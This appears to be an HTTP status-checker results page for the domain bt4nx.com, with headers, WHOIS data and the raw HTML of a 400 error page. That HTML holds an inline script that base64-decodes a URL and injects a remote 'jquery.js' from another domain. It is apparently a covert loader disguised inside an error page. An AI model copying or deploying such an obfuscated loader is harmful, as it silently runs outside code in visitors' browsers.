check web redirect url status code checker

Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
400 Bad Request - bt4nx.com
HTTP Status: 400
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx
Date: Tue, 13 May 2025 01:09:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close

HTTP Code 400 Bad Request

400 status code indicates that the server cannot process the request due to client error.

When is Code 400 used?

  • When the request is malformed or contains invalid parameters
  • When required data is missing in the request
  • When sending an incorrect JSON or XML payload

What does Code 400 mean for the user?

The user receives an error message indicating that their request is incorrect and needs to be fixed.

GET / HTTP/1.1
Host: bt4nx.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<html>
<head><title>400 Bad Request</title><script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9hcHAuOTFwYS5hcHAvanF1ZXJ5Lmpz");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>

Whois info of domain

Domain Name: BT4NX.COM
Registry Domain ID: 2931909780_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.discount-domain.com
Registrar URL: http://gmo.jp
Updated Date: 2025-01-06T14:01:01Z
Creation Date: 2024-11-06T02:01:33Z
Registry Expiry Date: 2025-11-06T02:01:33Z
Registrar: GMO Internet Group, Inc. d/b/a Onamae.com
Registrar IANA ID: 49
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +81.337709199
Domain Status: ok https://icann.org/epp#ok
Name Server: NS1.ALIDNS.COM
Name Server: NS2.ALIDNS.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-13T01:09:15Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
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